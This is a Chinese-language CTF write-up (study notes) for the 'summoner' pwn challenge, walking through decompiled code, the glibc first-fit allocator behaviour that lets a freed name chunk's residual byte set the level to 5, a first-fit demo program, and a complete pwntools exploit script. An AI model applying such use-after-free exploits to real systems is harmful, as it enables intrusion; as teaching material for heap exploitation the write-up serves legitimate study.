本文主要为观看bili53448916889师傅讲解视频的学习笔记。

首先拖进ida中进行代码审计。以下是main函数的伪代码

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{const char *v3; // rsichar **v5; // [rsp+0h] [rbp-240h]unsigned int level; // [rsp+1Ch] [rbp-224h]void **v7; // [rsp+20h] [rbp-220h]const char *nptr; // [rsp+28h] [rbp-218h]const char *nptra; // [rsp+28h] [rbp-218h]char s; // [rsp+30h] [rbp-210h]char v11; // [rsp+37h] [rbp-209h]_BYTE v12[7]; // [rsp+39h] [rbp-207h]unsigned __int64 v13; // [rsp+238h] [rbp-8h]v5 = a2;v13 = __readfsqword(0x28u);v3 = 0LL;setbuf(_bss_start, 0LL);sub_AF0();sub_B1B();v7 = 0LL;while ( 1 ){printf("\nEnter your command:\n> ", v3, v5);if ( !fgets(&s, 512, stdin) )break;v3 = "show";if ( !strncmp(&s, "show", 4uLL) ){if ( v7 ){v3 = (const char *)*v7;printf("Current creature: %s [Level %u]\n", *v7, *((unsigned int *)v7 + 2));}else{puts("You have no creature now.");}}else{v3 = "summon";if ( !strncmp(&s, "summon", 6uLL) ){if ( v7 ){puts("Already have one creature. Release it first.");}else{v3 = "\n";nptr = strtok(&v11, "\n");if ( nptr ){v7 = (void **)malloc(0x10uLL);if ( !v7 ){puts("malloc() returned NULL. Out of Memory\n");exit(-1);}*v7 = strdup(nptr);v3 = nptr;printf("Current creature:\"%s\"\n", nptr);}else{puts("Invalid command");}}}else{v3 = "level-up";if ( !strncmp(&s, "level-up", 8uLL) ){if ( v7 ){v3 = "\n";nptra = strtok(v12, "\n");if ( nptra ){v3 = 0LL;level = strtoul(nptra, 0LL, 10);if ( level <= 4 ){*((_DWORD *)v7 + 2) = level;v3 = (const char *)level;printf("Level-up to \"%u\"\n", level);}else{puts("Can only level-up to Level 4.");}}else{puts("Invalid command");}}else{puts("Summon first.");}}else{v3 = "strike";if ( !strncmp(&s, "strike", 6uLL) ){if ( v7 ){if ( *((_DWORD *)v7 + 2) == 5 )system("/bin/cat /pwn/flag");elseputs("No, you cannot beat him!");}else{puts("Summon first.");}}else{v3 = "release";if ( !strncmp(&s, "release", 7uLL) ){if ( v7 ){free(*v7);v7 = 0LL;puts("Released.");}else{puts("No creature summoned.");}}else{v3 = "quit";if ( !strncmp(&s, "quit", 4uLL) )return 0LL;puts("Invalid option");sub_B1B();}}}}}}return 0LL;
}

结合程序的实际运行,可以知道该程序主要实现了一下功能。

用一句话概括一下就是你现在需要召唤勇士打魔龙,但你的勇士最多只有4级,而该赢魔龙需要5级。根据代码分析可知在strike功能中存在后门函数,所以我们只需要打印魔龙就可以拿到flag了。

继续分析发现代码,在release的if判断语句中可以找到可以利用的地方。

*v7 是由 *v7 = strdup(nptr); 这里要注意strdup函数会隐性调用malloc函数,因此这里dtrup函数会创建一个堆块用于存放name。创建名为‘aaaaaaaa’的勇士,并且升级为4级,查看具体的堆块情况如下图所示:

将0x5614724e1260-0x5614724e1270命名为chuank1,0x5614724e1280-0x5614724e1290命名为chunk2,方便后面的说明。根据伪代码和调试的堆块信息我们可以很清楚的知道chunk1为结构体指针的chunk,其中包含了name和level两个数据。但是要注意这里的真实的name是存储在chunk2中的,chunk1中仅仅存储了chunk2的mem指针指向的地址。为了方便理解再贴一张使用中的chunk结构图

现在我们已经基本了解了这道题堆存储结构,接下来就是怎么将level修改为5的问题了。在程序提供的功能中我们仅可对chunk2的数据不分进行没有限制的写入,试想如果可以将chunk2中的数据部分改写为如下所示(ps:由于不是同一次调试所以地址会不同)

看到这里就可以比较自然的联想到假设把chunk2作为结构体指针的堆块就可以实现绕过判断执行后门函数了。那问题就变成了如何将chunk2变成结构指针的堆块?我们继续调试。。。。。。

在这里我执行release功能,可以看到chunk2已经被free了,且name部分被清空,但是0x5却被保留下来了。

现在我们再申请一个chunk试一下,创建一个勇士名为‘a’。

根据调试信息我们可以看到chunk1为原来的结构体指针堆块,而原来已经被free掉的chunk2重新被申请回来作为了新的结构体指针堆块,并且保留有原来的残余数据刚好作为level的值。之所以会出现这样的情况是由于linux下堆块管理机制造成的。在调用malloc函数申请堆块的时候,系统不会直接开辟出一个新的堆块,而是首先在bin中查找是否有满足申请需求的堆块,即申请的堆块的size小于bin中堆块的size,如果有则直接调用该堆块,这就是first fit原则。

有关first fit原则的简单扩展

#include <stdlib.h>
#include <string.h>int main()
{fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.n");fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.n");fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.n");fprintf(stderr, "This can be exploited in a use-after-free situation.n");fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.n");char* a = malloc(512);char* b = malloc(256);char* c;fprintf(stderr, "1st malloc(512): %pn", a);fprintf(stderr, "2nd malloc(256): %pn", b);fprintf(stderr, "we could continue mallocing here...n");fprintf(stderr, "now let's put a string at a that we can read later "this is A!"n");strcpy(a, "this is A!");fprintf(stderr, "first allocation %p points to %sn", a, a);fprintf(stderr, "Freeing the first one...n");free(a);fprintf(stderr, "We don't need to free anything again. As long as we allocate less than 512, it will end up at %pn", a);fprintf(stderr, "So, let's allocate 500 bytesn");c = malloc(500);fprintf(stderr, "3rd malloc(500): %pn", c);fprintf(stderr, "And put a different string here, "this is C!"n");strcpy(c, "this is C!");fprintf(stderr, "3rd allocation %p points to %sn", c, c);fprintf(stderr, "first allocation %p points to %sn", a, a);fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.n");
}

代码输出结果

This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
glibc uses a first-fit algorithm to select a free chunk.
If a chunk is free and large enough, malloc will select this chunk.
This can be exploited in a use-after-free situation.
Allocating  buffers. They can be large, don't have to be fastbin.
1st ): 0x245b420
2nd ): 0x245b630
we could continue mallocing here...
now let's put a string at a that we can read later "this is A!"
first allocation 0x245b420 points to this is A!
Freeing the first one...
We don't need to free anything again. As long as we allocate less than 512, it will end up at 0x245b420
So, let's allocate 500 bytes
3rd ): 0x245b420
And put a different string here, "this is C!"
3rd allocation 0x245b420 points to this is C!
first allocation 0x245b420 points to this is C!
If we reuse the first allocation, it now holds the data from the third allocation.这个案例只是讲了glibc分配chunk时的first fit原则,但也可以用于use after free漏洞,这里先不展开讲。

这里首先定义了三个指针a,b,c,给a和b分别分配了512和256大小的空间(这里分配的空间比较大是为了说明frist fit原则适用于所有的chunk,不仅仅是fastbin)。然后在a指向的地址写入‘this is A!’,free掉a,(这里不将指针a赋为NULL,因此指针a依旧指向0x245b420)再给c分配500大小的空间,可以看到此时指针c指向的也是0x245b420。指针a和指针c指向同一个地址,或者说是同一个chunk块。frist fit原则让c申请到原来被a释放掉的chunk。

到此我们已经完成了漏洞利用,成功将level改写为了5。

完整的exp

from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argvdef ret2libc(leak, func, path=''):if path == '':libc = LibcSearcher(func, leak)base = leak - libc.dump(func)system = base + libc.dump('system')binsh = base + libc.dump('str_bin_sh')else:libc = ELF(path)base = leak - libc.sym[func]system = base + libc.sym['system']binsh = base + libc.search('/bin/sh').next()return (system, binsh)s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))context.log_level = 'DEBUG'
binary = './summoner'
context.binary = binary
elf = ELF(binary)
p = process(binary)def dbg():gdb.attach(p)pause()# startsla('> ','summon aaaaaaaa'+'\x05')
sla('> ','release')
sla('> ','summon a')
sla('> ','strike')
# enditr()

从pwn-summoner理解first fit相关推荐

  1. pwn刷题num45----fast fit

    github题目链接 这道题下载下来后需要先用patchel使用低版本的libc(我这里用的是libc2.23)加载运行, 具体怎么用?看这 还有这 flag也是自己设置在/pwn/flag里 fas ...

  2. 疫情期间自我提升指南:十大资源,为你铺平数据科学家之路!

    来源:大数据文摘 本文约2800字,建议阅读7分钟 本文为你带来了十大资源,更为你安排好了学习顺序,网课刷起来! 疫情在家太无聊,网课自然是打发时间又能自我提升的不二之选.在众多学科中,数据科学又可说 ...

  3. 【机器学习】(十七)非负矩阵分解NMF:人脸图像特征提取、用特征排序;还原混合信号

    非负矩阵分解(NMF)是一种无监督学习算法,目的在于提取有用的特征(可以识别出组合成数据的原始分量),也可以用于降维,通常不用于对数据进行重建或者编码. 与PCA相同,NMF将每个数据点写成一些分量的 ...

  4. 记录第一次ANN跑BCI Competition iv 2a过程

    前言 研一新生一枚,刚被老师确定方向(复杂动作运动想象解码),BCI领域纯纯小白一枚,此文仅是为了浅层记录一下github上找的代码跑竞赛数据的过程.全篇仅代表个人理解,望指出不足之处和不对的地方. ...

  5. 用ensp组建无线局域网

    1.实验目的: (1)熟悉AC和FIT AP无线产品: (2)理解AC+FIT AP组建大型无线局域网的原理: (3)理解无线漫游技术: (3)掌握组建WLAN配置步骤和配置命令: 2.实验内容: ( ...

  6. Grid网格布局详细讲解

    'Grid是CSS3中网格布局系统,也是CSS3中最强大的布局系统.它是一个二维布局系统,这意味着它可以处理列和行,不像flex弹性布局主要是一维系统,他像表格一样可以让我们控制行或者例对齐,可以控制 ...

  7. pyspark ml 中LogisticRegression的使用

    前置概念 ML包公开了三个主要的抽象类:转换器(transformer).评估器(estimator)和管道(pipeline). 转换器,通常通过将一个新列附加到DataFrame来转换数据,其常见 ...

  8. 朴素贝叶斯分类-实战篇-如何进行文本分类

    微信公众号:码农充电站pro 个人主页:https://codeshellme.github.io 文章目录 1,对文档分词 2,计算单词权重 2.1,单词的 TF-IDF 值 2.2,TfidfVe ...

  9. xgboost算法_第113天: Python XGBoost 算法项目实战

    Python 实现机器学习 如果你的机器学习预测模型表现得不尽如人意,那就用XGBoost.XGBoost算法现在已经成为很多数据工程师的重要武器. XGBoost 算法 说到XGBoost,不得不提 ...

最新文章

  1. python用类名直接调用方法_Python类的实例方法、静态方法、类方法详解,附代码示例...
  2. LeetCode_108.将有序数组转换为二叉搜索树
  3. 英特尔核显自定义分辨率_让免费的核显更好用!英特尔酷睿集成的GPU如何优化?...
  4. Magento调用静态块 static block
  5. 数据结构和算法分析(三)——C++实现队列
  6. (转)Spring的bean管理(注解方式)
  7. 自制jQuery 复选框全选与反选插件
  8. sjtu 1077 加分二叉树
  9. 计算机图形学-----齐次坐标、空间变换矩阵和通用的建模方法
  10. swagger -- 前后端分离的API接口
  11. ESP32 SPI LCD ili9488移植LVGL 8.0
  12. 如何查看程序或进程调用了哪些dll文件
  13. Sublime PyV8
  14. 浅谈用户营销模型AIPL
  15. 怎样有效提高记忆力?
  16. asp.net汉字转拼音 可返回拼音首字母
  17. Python 日历模块 calendar
  18. 局域网文件共享的几种方法
  19. LDAP目录服务折腾之后的总结
  20. __init__.py 文件用法

热门文章

  1. django2.2 简单博客 一
  2. pve远程连接 spcie_惠普 SL250s Gen8 服务器编译PVE内核通过禁用RMRR来实现pcie直通
  3. 传统与现代可视化 PK:再生水厂二维工艺组态系统
  4. PDF内容复制自动替换换行符
  5. WPS论文公式,对齐制表符
  6. 抽象类和具体类的区别
  7. Multisim实现极简数码管显示
  8. 潇洒郎: 凯酷84机械键盘win键被锁解决方法
  9. linux 设置深信服easyconnect 代理
  10. 【致远FAQ】V8.0sp2_8.0sp2版本协同BPM平台的人员匹配去重